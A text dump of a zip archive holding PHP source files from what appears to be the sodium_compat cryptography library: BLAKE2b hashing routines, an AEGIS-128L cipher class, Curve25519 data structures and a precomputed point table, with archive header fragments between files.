>> $c1; $l1 = ((int) ($x[1]) >> $c1) | ((int) ($x[0]) & ((1 << $c1) - 1)) << (32 - $c1); } else { $l1 = (int) ($x[0]) >> ($c1 - 32); } return self::new64($h0 | $h1, $l0 | $l1); } /** * @internal You should not use this directly from another application * * @param SplFixedArray $x * @return int * @psalm-suppress MixedOperand */ protected static function flatten64($x) { return (int) ($x[0] * 4294967296 + $x[1]); } /** * @internal You should not use this directly from another application * * @param SplFixedArray $x * @param int $i * @return SplFixedArray * @psalm-suppress MixedArgument * @psalm-suppress MixedArrayOffset */ protected static function load64(SplFixedArray $x, $i) { /** @var int $l */ $l = (int) ($x[$i]) | ((int) ($x[$i+1]) << 8) | ((int) ($x[$i+2]) << 16) | ((int) ($x[$i+3]) << 24); /** @var int $h */ $h = (int) ($x[$i+4]) | ((int) ($x[$i+5]) << 8) | ((int) ($x[$i+6]) << 16) | ((int) ($x[$i+7]) << 24); return self::new64($h, $l); } /** * @internal You should not use this directly from another application * * @param SplFixedArray $x * @param int $i * @param SplFixedArray $u * @return void * @psalm-suppress MixedAssignment */ protected static function store64(SplFixedArray $x, $i, SplFixedArray $u) { $maxLength = $x->getSize() - 1; for ($j = 0; $j < 8; ++$j) { /* [0, 1, 2, 3, 4, 5, 6, 7] ... becomes ... [0, 0, 0, 0, 1, 1, 1, 1] */ /** @var int $uIdx */ $uIdx = ((7 - $j) & 4) >> 2; $x[$i] = ((int) ($u[$uIdx]) & 0xff); if (++$i > $maxLength) { return; } /** @psalm-suppress MixedOperand */ $u[$uIdx] >>= 8; } } /** * This just sets the $iv static variable. * * @internal You should not use this directly from another application * * @return void */ public static function pseudoConstructor() { static $called = false; if ($called) { return; } self::$iv = new SplFixedArray(8); self::$iv[0] = self::new64(0x6a09e667, 0xf3bcc908); self::$iv[1] = self::new64(0xbb67ae85, 0x84caa73b); self::$iv[2] = self::new64(0x3c6ef372, 0xfe94f82b); self::$iv[3] = self::new64(0xa54ff53a, 0x5f1d36f1); self::$iv[4] = self::new64(0x510e527f, 0xade682d1); self::$iv[5] = self::new64(0x9b05688c, 0x2b3e6c1f); self::$iv[6] = self::new64(0x1f83d9ab, 0xfb41bd6b); self::$iv[7] = self::new64(0x5be0cd19, 0x137e2179); $called = true; } /** * Returns a fresh BLAKE2 context. * * @internal You should not use this directly from another application * * @return SplFixedArray * @psalm-suppress MixedAssignment * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayAssignment */ protected static function context() { $ctx = new SplFixedArray(6); $ctx[0] = new SplFixedArray(8); // h $ctx[1] = new SplFixedArray(2); // t $ctx[2] = new SplFixedArray(2); // f $ctx[3] = new SplFixedArray(256); // buf $ctx[4] = 0; // buflen $ctx[5] = 0; // last_node (uint8_t) for ($i = 8; $i--;) { $ctx[0][$i] = self::$iv[$i]; } for ($i = 256; $i--;) { $ctx[3][$i] = 0; } $zero = self::new64(0, 0); $ctx[1][0] = $zero; $ctx[1][1] = $zero; $ctx[2][0] = $zero; $ctx[2][1] = $zero; return $ctx; } /** * @internal You should not use this directly from another application * * @param SplFixedArray $ctx * @param SplFixedArray $buf * @return void * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedAssignment * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayAssignment * @psalm-suppress MixedArrayOffset */ protected static function compress(SplFixedArray $ctx, SplFixedArray $buf) { $m = new SplFixedArray(16); $v = new SplFixedArray(16); for ($i = 16; $i--;) { $m[$i] = self::load64($buf, $i << 3); } for ($i = 8; $i--;) { $v[$i] = $ctx[0][$i]; } $v[ 8] = self::$iv[0]; $v[ 9] = self::$iv[1]; $v[10] = self::$iv[2]; $v[11] = self::$iv[3]; $v[12] = self::xor64($ctx[1][0], self::$iv[4]); $v[13] = self::xor64($ctx[1][1], self::$iv[5]); $v[14] = self::xor64($ctx[2][0], self::$iv[6]); $v[15] = self::xor64($ctx[2][1], self::$iv[7]); for ($r = 0; $r < 12; ++$r) { $v = self::G($r, 0, 0, 4, 8, 12, $v, $m); $v = self::G($r, 1, 1, 5, 9, 13, $v, $m); $v = self::G($r, 2, 2, 6, 10, 14, $v, $m); $v = self::G($r, 3, 3, 7, 11, 15, $v, $m); $v = self::G($r, 4, 0, 5, 10, 15, $v, $m); $v = self::G($r, 5, 1, 6, 11, 12, $v, $m); $v = self::G($r, 6, 2, 7, 8, 13, $v, $m); $v = self::G($r, 7, 3, 4, 9, 14, $v, $m); } for ($i = 8; $i--;) { $ctx[0][$i] = self::xor64( $ctx[0][$i], self::xor64($v[$i], $v[$i+8]) ); } } /** * @internal You should not use this directly from another application * * @param int $r * @param int $i * @param int $a * @param int $b * @param int $c * @param int $d * @param SplFixedArray $v * @param SplFixedArray $m * @return SplFixedArray * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedArrayOffset */ public static function G($r, $i, $a, $b, $c, $d, SplFixedArray $v, SplFixedArray $m) { $v[$a] = self::add364($v[$a], $v[$b], $m[self::$sigma[$r][$i << 1]]); $v[$d] = self::rotr64(self::xor64($v[$d], $v[$a]), 32); $v[$c] = self::add64($v[$c], $v[$d]); $v[$b] = self::rotr64(self::xor64($v[$b], $v[$c]), 24); $v[$a] = self::add364($v[$a], $v[$b], $m[self::$sigma[$r][($i << 1) + 1]]); $v[$d] = self::rotr64(self::xor64($v[$d], $v[$a]), 16); $v[$c] = self::add64($v[$c], $v[$d]); $v[$b] = self::rotr64(self::xor64($v[$b], $v[$c]), 63); return $v; } /** * @internal You should not use this directly from another application * * @param SplFixedArray $ctx * @param int $inc * @return void * @throws SodiumException * @psalm-suppress MixedArgument * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayAssignment */ public static function increment_counter($ctx, $inc) { if ($inc < 0) { throw new SodiumException('Increasing by a negative number makes no sense.'); } $t = self::to64($inc); # S->t is $ctx[1] in our implementation # S->t[0] = ( uint64_t )( t >> 0 ); $ctx[1][0] = self::add64($ctx[1][0], $t); # S->t[1] += ( S->t[0] < inc ); if (self::flatten64($ctx[1][0]) < $inc) { $ctx[1][1] = self::add64($ctx[1][1], self::to64(1)); } } /** * @internal You should not use this directly from another application * * @param SplFixedArray $ctx * @param SplFixedArray $p * @param int $plen * @return void * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedAssignment * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayAssignment * @psalm-suppress MixedArrayOffset * @psalm-suppress MixedOperand */ public static function update(SplFixedArray $ctx, SplFixedArray $p, $plen) { self::pseudoConstructor(); $offset = 0; while ($plen > 0) { $left = $ctx[4]; $fill = 256 - $left; if ($plen > $fill) { # memcpy( S->buf + left, in, fill ); /* Fill buffer */ for ($i = $fill; $i--;) { $ctx[3][$i + $left] = $p[$i + $offset]; } # S->buflen += fill; $ctx[4] += $fill; # blake2b_increment_counter( S, BLAKE2B_BLOCKBYTES ); self::increment_counter($ctx, 128); # blake2b_compress( S, S->buf ); /* Compress */ self::compress($ctx, $ctx[3]); # memcpy( S->buf, S->buf + BLAKE2B_BLOCKBYTES, BLAKE2B_BLOCKBYTES ); /* Shift buffer left */ for ($i = 128; $i--;) { $ctx[3][$i] = $ctx[3][$i + 128]; } # S->buflen -= BLAKE2B_BLOCKBYTES; $ctx[4] -= 128; # in += fill; $offset += $fill; # inlen -= fill; $plen -= $fill; } else { for ($i = $plen; $i--;) { $ctx[3][$i + $left] = $p[$i + $offset]; } $ctx[4] += $plen; $offset += $plen; $plen -= $plen; } } } /** * @internal You should not use this directly from another application * * @param SplFixedArray $ctx * @param SplFixedArray $out * @return SplFixedArray * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedAssignment * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayAssignment * @psalm-suppress MixedArrayOffset * @psalm-suppress MixedOperand */ public static function finish(SplFixedArray $ctx, SplFixedArray $out) { self::pseudoConstructor(); if ($ctx[4] > 128) { self::increment_counter($ctx, 128); self::compress($ctx, $ctx[3]); $ctx[4] -= 128; if ($ctx[4] > 128) { throw new SodiumException('Failed to assert that buflen <= 128 bytes'); } for ($i = $ctx[4]; $i--;) { $ctx[3][$i] = $ctx[3][$i + 128]; } } self::increment_counter($ctx, $ctx[4]); $ctx[2][0] = self::new64(0xffffffff, 0xffffffff); for ($i = 256 - $ctx[4]; $i--;) { $ctx[3][$i+$ctx[4]] = 0; } self::compress($ctx, $ctx[3]); $i = (int) (($out->getSize() - 1) / 8); for (; $i >= 0; --$i) { self::store64($out, $i << 3, $ctx[0][$i]); } return $out; } /** * @internal You should not use this directly from another application * * @param SplFixedArray|null $key * @param int $outlen * @param SplFixedArray|null $salt * @param SplFixedArray|null $personal * @return SplFixedArray * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedAssignment * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayAssignment * @psalm-suppress MixedArrayOffset */ public static function init( $key = null, $outlen = 64, $salt = null, $personal = null ) { self::pseudoConstructor(); $klen = 0; if ($key !== null) { if (count($key) > 64) { throw new SodiumException('Invalid key size'); } $klen = count($key); } if ($outlen > 64) { throw new SodiumException('Invalid output size'); } $ctx = self::context(); $p = new SplFixedArray(64); // Zero our param buffer... for ($i = 64; --$i;) { $p[$i] = 0; } $p[0] = $outlen; // digest_length $p[1] = $klen; // key_length $p[2] = 1; // fanout $p[3] = 1; // depth if ($salt instanceof SplFixedArray) { // salt: [32] through [47] for ($i = 0; $i < 16; ++$i) { $p[32 + $i] = (int) $salt[$i]; } } if ($personal instanceof SplFixedArray) { // personal: [48] through [63] for ($i = 0; $i < 16; ++$i) { $p[48 + $i] = (int) $personal[$i]; } } $ctx[0][0] = self::xor64( $ctx[0][0], self::load64($p, 0) ); if ($salt instanceof SplFixedArray || $personal instanceof SplFixedArray) { // We need to do what blake2b_init_param() does: for ($i = 1; $i < 8; ++$i) { $ctx[0][$i] = self::xor64( $ctx[0][$i], self::load64($p, $i << 3) ); } } if ($klen > 0 && $key instanceof SplFixedArray) { $block = new SplFixedArray(128); for ($i = 128; $i--;) { $block[$i] = 0; } for ($i = $klen; $i--;) { $block[$i] = $key[$i]; } self::update($ctx, $block, 128); $ctx[4] = 128; } return $ctx; } /** * Convert a string into an SplFixedArray of integers * * @internal You should not use this directly from another application * * @param string $str * @return SplFixedArray * @psalm-suppress MixedArgumentTypeCoercion */ public static function stringToSplFixedArray($str = '') { $values = unpack('C*', $str); return SplFixedArray::fromArray(array_values($values)); } /** * Convert an SplFixedArray of integers into a string * * @internal You should not use this directly from another application * * @param SplFixedArray $a * @return string * @throws TypeError */ public static function SplFixedArrayToString(SplFixedArray $a) { /** * @var array $arr */ $arr = $a->toArray(); $c = $a->count(); array_unshift($arr, str_repeat('C', $c)); return (string) (call_user_func_array('pack', $arr)); } /** * @internal You should not use this directly from another application * * @param SplFixedArray $ctx * @return string * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedAssignment * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayAssignment * @psalm-suppress MixedArrayOffset * @psalm-suppress MixedMethodCall */ public static function contextToString(SplFixedArray $ctx) { $str = ''; /** @var array> $ctxA */ $ctxA = $ctx[0]->toArray(); # uint64_t h[8]; for ($i = 0; $i < 8; ++$i) { $str .= self::store32_le($ctxA[$i][1]); $str .= self::store32_le($ctxA[$i][0]); } # uint64_t t[2]; # uint64_t f[2]; for ($i = 1; $i < 3; ++$i) { $ctxA = $ctx[$i]->toArray(); $str .= self::store32_le($ctxA[0][1]); $str .= self::store32_le($ctxA[0][0]); $str .= self::store32_le($ctxA[1][1]); $str .= self::store32_le($ctxA[1][0]); } # uint8_t buf[2 * 128]; $str .= self::SplFixedArrayToString($ctx[3]); /** @var int $ctx4 */ $ctx4 = (int) $ctx[4]; # size_t buflen; $str .= implode('', array( self::intToChr($ctx4 & 0xff), self::intToChr(($ctx4 >> 8) & 0xff), self::intToChr(($ctx4 >> 16) & 0xff), self::intToChr(($ctx4 >> 24) & 0xff), self::intToChr(($ctx4 >> 32) & 0xff), self::intToChr(($ctx4 >> 40) & 0xff), self::intToChr(($ctx4 >> 48) & 0xff), self::intToChr(($ctx4 >> 56) & 0xff) )); # uint8_t last_node; return $str . self::intToChr($ctx[5]) . str_repeat("\x00", 23); } /** * Creates an SplFixedArray containing other SplFixedArray elements, from * a string (compatible with \Sodium\crypto_generichash_{init, update, final}) * * @internal You should not use this directly from another application * * @param string $string * @return SplFixedArray * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArrayAssignment */ public static function stringToContext($string) { $ctx = self::context(); # uint64_t h[8]; for ($i = 0; $i < 8; ++$i) { $ctx[0][$i] = SplFixedArray::fromArray( array( self::load_4( self::substr($string, (($i << 3) + 4), 4) ), self::load_4( self::substr($string, (($i << 3) + 0), 4) ) ) ); } # uint64_t t[2]; # uint64_t f[2]; for ($i = 1; $i < 3; ++$i) { $ctx[$i][1] = SplFixedArray::fromArray( array( self::load_4(self::substr($string, 76 + (($i - 1) << 4), 4)), self::load_4(self::substr($string, 72 + (($i - 1) << 4), 4)) ) ); $ctx[$i][0] = SplFixedArray::fromArray( array( self::load_4(self::substr($string, 68 + (($i - 1) << 4), 4)), self::load_4(self::substr($string, 64 + (($i - 1) << 4), 4)) ) ); } # uint8_t buf[2 * 128]; $ctx[3] = self::stringToSplFixedArray(self::substr($string, 96, 256)); # uint8_t buf[2 * 128]; $int = 0; for ($i = 0; $i < 8; ++$i) { $int |= self::chrToInt($string[352 + $i]) << ($i << 3); } $ctx[4] = $int; return $ctx; } } PK*L[z-y9TTsrc/Core/AEGIS128L.phpnu[> 5; for ($i = 0; $i < $ad_blocks; ++$i) { $ai = self::substr($ad, $i << 5, 32); if (self::strlen($ai) < 32) { $ai = str_pad($ai, 32, "\0", STR_PAD_RIGHT); } $state->absorb($ai); } $msg = ''; $cn = self::strlen($ct) & 31; $ct_blocks = self::strlen($ct) >> 5; for ($i = 0; $i < $ct_blocks; ++$i) { $msg .= $state->dec(self::substr($ct, $i << 5, 32)); } if ($cn) { $start = $ct_blocks << 5; $msg .= $state->decPartial(self::substr($ct, $start, $cn)); } $expected_tag = $state->finalize( self::strlen($ad) << 3, self::strlen($msg) << 3 ); if (!self::hashEquals($expected_tag, $tag)) { try { // The RFC says to erase msg, so we shall try: ParagonIE_Sodium_Compat::memzero($msg); } catch (SodiumException $ex) { // Do nothing if we cannot memzero } throw new SodiumException('verification failed'); } return $msg; } /** * @param string $msg * @param string $ad * @param string $key * @param string $nonce * @return array * * @throws SodiumException */ public static function encrypt($msg, $ad, $key, $nonce) { $state = self::init($key, $nonce); // ad_blocks = Split(ZeroPad(ad, 256), 256) // for ai in ad_blocks: // Absorb(ai) $ad_len = self::strlen($ad); $msg_len = self::strlen($msg); $ad_blocks = ($ad_len + 31) >> 5; for ($i = 0; $i < $ad_blocks; ++$i) { $ai = self::substr($ad, $i << 5, 32); if (self::strlen($ai) < 32) { $ai = str_pad($ai, 32, "\0", STR_PAD_RIGHT); } $state->absorb($ai); } // msg_blocks = Split(ZeroPad(msg, 256), 256) // for xi in msg_blocks: // ct = ct || Enc(xi) $ct = ''; $msg_blocks = ($msg_len + 31) >> 5; for ($i = 0; $i < $msg_blocks; ++$i) { $xi = self::substr($msg, $i << 5, 32); if (self::strlen($xi) < 32) { $xi = str_pad($xi, 32, "\0", STR_PAD_RIGHT); } $ct .= $state->enc($xi); } // tag = Finalize(|ad|, |msg|) // ct = Truncate(ct, |msg|) $tag = $state->finalize( $ad_len << 3, $msg_len << 3 ); // return ct and tag return array( self::substr($ct, 0, $msg_len), $tag ); } /** * @param string $key * @param string $nonce * @return ParagonIE_Sodium_Core_AEGIS_State128L */ public static function init($key, $nonce) { return ParagonIE_Sodium_Core_AEGIS_State128L::init($key, $nonce); } } PK*L[CUg  src/Core/Curve25519/Fe.phpnu[ */ protected $container = array(); /** * @var int */ protected $size = 10; /** * @internal You should not use this directly from another application * * @param array $array * @param bool $save_indexes * @return self */ public static function fromArray($array, $save_indexes = null) { $count = count($array); if ($save_indexes) { $keys = array_keys($array); } else { $keys = range(0, $count - 1); } $array = array_values($array); /** @var array $keys */ $obj = new ParagonIE_Sodium_Core_Curve25519_Fe(); if ($save_indexes) { for ($i = 0; $i < $count; ++$i) { $obj->offsetSet($keys[$i], $array[$i]); } } else { for ($i = 0; $i < $count; ++$i) { $obj->offsetSet($i, $array[$i]); } } return $obj; } /** * @internal You should not use this directly from another application * * @param int|null $offset * @param int $value * @return void * @psalm-suppress MixedArrayOffset */ #[ReturnTypeWillChange] public function offsetSet($offset, $value) { if (!is_int($value)) { throw new InvalidArgumentException('Expected an integer'); } if (is_null($offset)) { $this->container[] = $value; } else { $this->container[$offset] = $value; } } /** * @internal You should not use this directly from another application * * @param int $offset * @return bool * @psalm-suppress MixedArrayOffset */ #[ReturnTypeWillChange] public function offsetExists($offset) { return isset($this->container[$offset]); } /** * @internal You should not use this directly from another application * * @param int $offset * @return void * @psalm-suppress MixedArrayOffset */ #[ReturnTypeWillChange] public function offsetUnset($offset) { unset($this->container[$offset]); } /** * @internal You should not use this directly from another application * * @param int $offset * @return int * @psalm-suppress MixedArrayOffset */ #[ReturnTypeWillChange] public function offsetGet($offset) { if (!isset($this->container[$offset])) { $this->container[$offset] = 0; } return (int) ($this->container[$offset]); } /** * @internal You should not use this directly from another application * * @return array */ public function __debugInfo() { return array(implode(', ', $this->container)); } } PK*L[rr"src/Core/Curve25519/Ge/Precomp.phpnu[yplusx = $yplusx; if ($yminusx === null) { $yminusx = new ParagonIE_Sodium_Core_Curve25519_Fe(); } if (!($yminusx instanceof ParagonIE_Sodium_Core_Curve25519_Fe)) { throw new TypeError('Argument 2 must be an instance of ParagonIE_Sodium_Core_Curve25519_Fe'); } $this->yminusx = $yminusx; if ($xy2d === null) { $xy2d = new ParagonIE_Sodium_Core_Curve25519_Fe(); } if (!($xy2d instanceof ParagonIE_Sodium_Core_Curve25519_Fe)) { throw new TypeError('Argument 3 must be an instance of ParagonIE_Sodium_Core_Curve25519_Fe'); } $this->xy2d = $xy2d; } } PK*L[src/Core/Curve25519/Ge/P1p1.phpnu[X = $x; if ($y === null) { $y = new ParagonIE_Sodium_Core_Curve25519_Fe(); } if (!($y instanceof ParagonIE_Sodium_Core_Curve25519_Fe)) { throw new TypeError('Argument 2 must be an instance of ParagonIE_Sodium_Core_Curve25519_Fe'); } $this->Y = $y; if ($z === null) { $z = new ParagonIE_Sodium_Core_Curve25519_Fe(); } if (!($z instanceof ParagonIE_Sodium_Core_Curve25519_Fe)) { throw new TypeError('Argument 3 must be an instance of ParagonIE_Sodium_Core_Curve25519_Fe'); } $this->Z = $z; if ($t === null) { $t = new ParagonIE_Sodium_Core_Curve25519_Fe(); } if (!($t instanceof ParagonIE_Sodium_Core_Curve25519_Fe)) { throw new TypeError('Argument 4 must be an instance of ParagonIE_Sodium_Core_Curve25519_Fe'); } $this->T = $t; } } PK*L["Msrc/Core/Curve25519/Ge/P3.phpnu[X = $x; if ($y === null) { $y = new ParagonIE_Sodium_Core_Curve25519_Fe(); } if (!($y instanceof ParagonIE_Sodium_Core_Curve25519_Fe)) { throw new TypeError('Argument 2 must be an instance of ParagonIE_Sodium_Core_Curve25519_Fe'); } $this->Y = $y; if ($z === null) { $z = new ParagonIE_Sodium_Core_Curve25519_Fe(); } if (!($z instanceof ParagonIE_Sodium_Core_Curve25519_Fe)) { throw new TypeError('Argument 3 must be an instance of ParagonIE_Sodium_Core_Curve25519_Fe'); } $this->Z = $z; if ($t === null) { $t = new ParagonIE_Sodium_Core_Curve25519_Fe(); } if (!($t instanceof ParagonIE_Sodium_Core_Curve25519_Fe)) { throw new TypeError('Argument 4 must be an instance of ParagonIE_Sodium_Core_Curve25519_Fe'); } $this->T = $t; } } PK*L[rB B !src/Core/Curve25519/Ge/Cached.phpnu[YplusX = $YplusX; if ($YminusX === null) { $YminusX = new ParagonIE_Sodium_Core_Curve25519_Fe(); } if (!($YminusX instanceof ParagonIE_Sodium_Core_Curve25519_Fe)) { throw new TypeError('Argument 2 must be an instance of ParagonIE_Sodium_Core_Curve25519_Fe'); } $this->YminusX = $YminusX; if ($Z === null) { $Z = new ParagonIE_Sodium_Core_Curve25519_Fe(); } if (!($Z instanceof ParagonIE_Sodium_Core_Curve25519_Fe)) { throw new TypeError('Argument 3 must be an instance of ParagonIE_Sodium_Core_Curve25519_Fe'); } $this->Z = $Z; if ($T2d === null) { $T2d = new ParagonIE_Sodium_Core_Curve25519_Fe(); } if (!($T2d instanceof ParagonIE_Sodium_Core_Curve25519_Fe)) { throw new TypeError('Argument 4 must be an instance of ParagonIE_Sodium_Core_Curve25519_Fe'); } $this->T2d = $T2d; } } PK*L[src/Core/Curve25519/Ge/P2.phpnu[X = $x; if ($y === null) { $y = new ParagonIE_Sodium_Core_Curve25519_Fe(); } if (!($y instanceof ParagonIE_Sodium_Core_Curve25519_Fe)) { throw new TypeError('Argument 2 must be an instance of ParagonIE_Sodium_Core_Curve25519_Fe'); } $this->Y = $y; if ($z === null) { $z = new ParagonIE_Sodium_Core_Curve25519_Fe(); } if (!($z instanceof ParagonIE_Sodium_Core_Curve25519_Fe)) { throw new TypeError('Argument 3 must be an instance of ParagonIE_Sodium_Core_Curve25519_Fe'); } $this->Z = $z; } } PK*L[珉src/Core/Curve25519/README.mdnu[# Curve25519 Data Structures These are PHP implementation of the [structs used in the ref10 curve25519 code](https://github.com/jedisct1/libsodium/blob/master/src/libsodium/include/sodium/private/curve25519_ref10.h). PK*L[}ڢTyysrc/Core/Curve25519/H.phpnu[>>> Basically, int[32][8][3][10] */ protected static $base = array( array( array( array(25967493, -14356035, 29566456, 3660896, -12694345, 4014787, 27544626, -11754271, -6079156, 2047605), array(-12545711, 934262, -2722910, 3049990, -727428, 9406986, 12720692, 5043384, 19500929, -15469378), array(-8738181, 4489570, 9688441, -14785194, 10184609, -12363380, 29287919, 11864899, -24514362, -4438546), ), array( array(-12815894, -12976347, -21581243, 11784320, -25355658, -2750717, -11717903, -3814571, -358445, -10211303), array(-21703237, 6903825, 27185491, 6451973, -29577724, -9554005, -15616551, 11189268, -26829678, -5319081), array(26966642, 11152617, 32442495, 15396054, 14353839, -12752335, -3128826, -9541118, -15472047, -4166697), ), array( array(15636291, -9688557, 24204773, -7912398, 616977, -16685262, 27787600, -14772189, 28944400, -1550024), array(16568933, 4717097, -11556148, -1102322, 15682896, -11807043, 16354577, -11775962, 7689662, 11199574), array(30464156, -5976125, -11779434, -15670865, 23220365, 15915852, 7512774, 10017326, -17749093, -9920357), ), array( array(-17036878, 13921892, 10945806, -6033431, 27105052, -16084379, -28926210, 15006023, 3284568, -6276540), array(23599295, -8306047, -11193664, -7687416, 13236774, 10506355, 7464579, 9656445, 13059162, 10374397), array(7798556, 16710257, 3033922, 2874086, 28997861, 2835604, 32406664, -3839045, -641708, -101325), ), array( array(10861363, 11473154, 27284546, 1981175, -30064349, 12577861, 32867885, 14515107, -15438304, 10819380), array(4708026, 6336745, 20377586, 9066809, -11272109, 6594696, -25653668, 12483688, -12668491, 5581306), array(19563160, 16186464, -29386857, 4097519, 10237984, -4348115, 28542350, 13850243, -23678021, -15815942), ), array( array(-15371964, -12862754, 32573250, 4720197, -26436522, 5875511, -19188627, -15224819, -9818940, -12085777), array(-8549212, 109983, 15149363, 2178705, 22900618, 4543417, 3044240, -15689887, 1762328, 14866737), array(-18199695, -15951423, -10473290, 1707278, -17185920, 3916101, -28236412, 3959421, 27914454, 4383652), ), array( array(5153746, 9909285, 1723747, -2777874, 30523605, 5516873, 19480852, 5230134, -23952439, -15175766), array(-30269007, -3463509, 7665486, 10083793, 28475525, 1649722, 20654025, 16520125, 30598449, 7715701), array(28881845, 14381568, 9657904, 3680757, -20181635, 7843316, -31400660, 1370708, 29794553, -1409300), ), array( array(14499471, -2729599, -33191113, -4254652, 28494862, 14271267, 30290735, 10876454, -33154098, 2381726), array(-7195431, -2655363, -14730155, 462251, -27724326, 3941372, -6236617, 3696005, -32300832, 15351955), array(27431194, 8222322, 16448760, -3907995, -18707002, 11938355, -32961401, -2970515, 29551813, 10109425), ), ), array( array( array(-13657040, -13155431, -31283750, 11777098, 21447386, 6519384, -2378284, -1627556, 10092783, -4764171), array(27939166, 14210322, 4677035, 16277044, -22964462, -12398139, -32508754, 12005538, -17810127, 12803510), array(17228999, -15661624, -1233527, 300140, -1224870, -11714777, 30364213, -9038194, 18016357, 4397660), ), array( array(-10958843, -7690207, 4776341, -14954238, 27850028, -15602212, -26619106, 14544525, -17477504, 982639), array(29253598, 15796703, -2863982, -9908884, 10057023, 3163536, 7332899, -4120128, -21047696, 9934963), array(5793303, 16271923, -24131614, -10116404, 29188560, 1206517, -14747930, 4559895, -30123922, -10897950), ), array( array(-27643952, -11493006, 16282657, -11036493, 28414021, -15012264, 24191034, 4541697, -13338309, 5500568), array(12650548, -1497113, 9052871, 11355358, -17680037, -8400164, -17430592, 12264343, 10874051, 13524335), array(25556948, -3045990, 714651, 2510400, 23394682, -10415330, 33119038, 5080568, -22528059, 5376628), ), array( array(-26088264, -4011052, -17013699, -3537628, -6726793, 1920897, -22321305, -9447443, 4535768, 1569007), array(-2255422, 14606630, -21692440, -8039818, 28430649, 8775819, -30494562, 3044290, 31848280, 12543772), array(-22028579, 2943893, -31857513, 6777306, 13784462, -4292203, -27377195, -2062731, 7718482, 14474653), ), array( array(2385315, 2454213, -22631320, 46603, -4437935, -15680415, 656965, -7236665, 24316168, -5253567), array(13741529, 10911568, -33233417, -8603737, -20177830, -1033297, 33040651, -13424532, -20729456, 8321686), array(21060490, -2212744, 15712757, -4336099, 1639040, 10656336, 23845965, -11874838, -9984458, 608372), ), array( array(-13672732, -15087586, -10889693, -7557059, -6036909, 11305547, 1123968, -6780577, 27229399, 23887), array(-23244140, -294205, -11744728, 14712571, -29465699, -2029617, 12797024, -6440308, -1633405, 16678954), array(-29500620, 4770662, -16054387, 14001338, 7830047, 9564805, -1508144, -4795045, -17169265, 4904953), ), array( array(24059557, 14617003, 19037157, -15039908, 19766093, -14906429, 5169211, 16191880, 2128236, -4326833), array(-16981152, 4124966, -8540610, -10653797, 30336522, -14105247, -29806336, 916033, -6882542, -2986532), array(-22630907, 12419372, -7134229, -7473371, -16478904, 16739175, 285431, 2763829, 15736322, 4143876), ), array( array(2379352, 11839345, -4110402, -5988665, 11274298, 794957, 212801, -14594663, 23527084, -16458268), array(33431127, -11130478, -17838966, -15626900, 8909499, 8376530, -32625340, 4087881, -15188911, -14416214), array(1767683, 7197987, -13205226, -2022635, -13091350, 448826, 5799055, 4357868, -4774191, -16323038), ), ), array( array( array(6721966, 13833823, -23523388, -1551314, 26354293, -11863321, 23365147, -3949732, 7390890, 2759800), array(4409041, 2052381, 23373853, 10530217, 7676779, -12885954, 21302353, -4264057, 1244380, -12919645), array(-4421239, 7169619, 4982368, -2957590, 30256825, -2777540, 14086413, 9208236, 15886429, 16489664), ), array( array(1996075, 10375649, 14346367, 13311202, -6874135, -16438411, -13693198, 398369, -30606455, -712933), array(-25307465, 9795880, -2777414, 14878809, -33531835, 14780363, 13348553, 12076947, -30836462, 5113182), array(-17770784, 11797796, 31950843, 13929123, -25888302, 12288344, -30341101, -7336386, 13847711, 5387222), ), array( array(-18582163, -3416217, 17824843, -2340966, 22744343, -10442611, 8763061, 3617786, -19600662, 10370991), array(20246567, -14369378, 22358229, -543712, 18507283, -10413996, 14554437, -8746092, 32232924, 16763880), array(9648505, 10094563, 26416693, 14745928, -30374318, -6472621, 11094161, 15689506, 3140038, -16510092), ), array( array(-16160072, 5472695, 31895588, 4744994, 8823515, 10365685, -27224800, 9448613, -28774454, 366295), array(19153450, 11523972, -11096490, -6503142, -24647631, 5420647, 28344573, 8041113, 719605, 11671788), array(8678025, 2694440, -6808014, 2517372, 4964326, 11152271, -15432916, -15266516, 27000813, -10195553), ), array( array(-15157904, 7134312, 8639287, -2814877, -7235688, 10421742, 564065, 5336097, 6750977, -14521026), array(11836410, -3979488, 26297894, 16080799, 23455045, 15735944, 1695823, -8819122, 8169720, 16220347), array(-18115838, 8653647, 17578566, -6092619, -8025777, -16012763, -11144307, -2627664, -5990708, -14166033), ), array( array(-23308498, -10968312, 15213228, -10081214, -30853605, -11050004, 27884329, 2847284, 2655861, 1738395), array(-27537433, -14253021, -25336301, -8002780, -9370762, 8129821, 21651608, -3239336, -19087449, -11005278), array(1533110, 3437855, 23735889, 459276, 29970501, 11335377, 26030092, 5821408, 10478196, 8544890), ), array( array(32173121, -16129311, 24896207, 3921497, 22579056, -3410854, 19270449, 12217473, 17789017, -3395995), array(-30552961, -2228401, -15578829, -10147201, 13243889, 517024, 15479401, -3853233, 30460520, 1052596), array(-11614875, 13323618, 32618793, 8175907, -15230173, 12596687, 27491595, -4612359, 3179268, -9478891), ), array( array(31947069, -14366651, -4640583, -15339921, -15125977, -6039709, -14756777, -16411740, 19072640, -9511060), array(11685058, 11822410, 3158003, -13952594, 33402194, -4165066, 5977896, -5215017, 473099, 5040608), array(-20290863, 8198642, -27410132, 11602123, 1290375, -2799760, 28326862, 1721092, -19558642, -3131606), ), ), array( array( array(7881532, 10687937, 7578723, 7738378, -18951012, -2553952, 21820786, 8076149, -27868496, 11538389), array(-19935666, 3899861, 18283497, -6801568, -15728660, -11249211, 8754525, 7446702, -5676054, 5797016), array(-11295600, -3793569, -15782110, -7964573, 12708869, -8456199, 2014099, -9050574, -2369172, -5877341), ), array( array(-22472376, -11568741, -27682020, 1146375, 18956691, 16640559, 1192730, -3714199, 15123619, 10811505), array(14352098, -3419715, -18942044, 10822655, 32750596, 4699007, -70363, 15776356, -28886779, -11974553), 